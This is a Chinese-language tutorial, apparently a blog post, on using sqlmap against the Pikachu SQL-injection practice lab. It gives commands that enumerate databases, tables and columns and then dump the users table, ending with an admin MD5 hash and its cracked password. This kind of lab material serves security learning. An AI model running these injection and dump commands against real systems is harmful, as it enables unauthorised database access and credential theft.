sqlmap注入参数(常用)pikachu靶场

对于有SQL注入的参数,可以采用SQLMap进行批量测试,常用命令如下:

 

使用sqlmap跑post方式时的格式:

python2 sqlmap.py -u "<url>" --data="<post提交的参数>" -<参数>  使用sqlmap跑数据库  

python sqlmap.py -u "http://test.com/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" - f --dbms mysql --dbs --batch  

#--dbms 默认情况下会探测web应用后端的数据库是什么;

该步骤--dbms mysql 制定了数据库类型为myslq数据库  

#--dbs 当用户有权读取时,列出所有的数据库  

#--batch 使用sqlmap给的默认提示走下去

sqlmap注入参数(常用)pikachu靶场

可以得到三个数据库的名称:information_schema,pikachu,test

查询数据库pikachu下面的表  

python sqlmap.py -u "http://test.com/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" - f --dbms mysql -D pikachu --tables --batch

# -D pikachu 指定数据库pikachu

#--tables 当有权限读取pikachu数据库中的表tables的时候,读取出表

可以得到pikachu数据库下的表:httpinfo,member,message,users,xssblind

sqlmap注入参数(常用)pikachu靶场

获取表users中的列

python sqlmap.py -u "http://test.com/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu -T users --columns --batch
#-T users 指定表名users
#--columns 当有权限读取表users中的列的时候读取表users中的列

就可以得到users表中的列名:level,id,password,username

sqlmap注入参数(常用)pikachu靶场

 

 

获取列username和password中的字段内容

python sqlmap.py -u "http://test.com/pikachu-master/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu -T users -C username,password --dump --batch
#-C username,password 指定读取列username和password中的字段内容
#--dump 抛出前面指定内容

sqlmap注入参数(常用)pikachu靶场

 

 

可以得到用户名admin,及其对应的密码的MD5:e10adc3949ba59abbe56e057f20f883e,以及解码后的明文:123456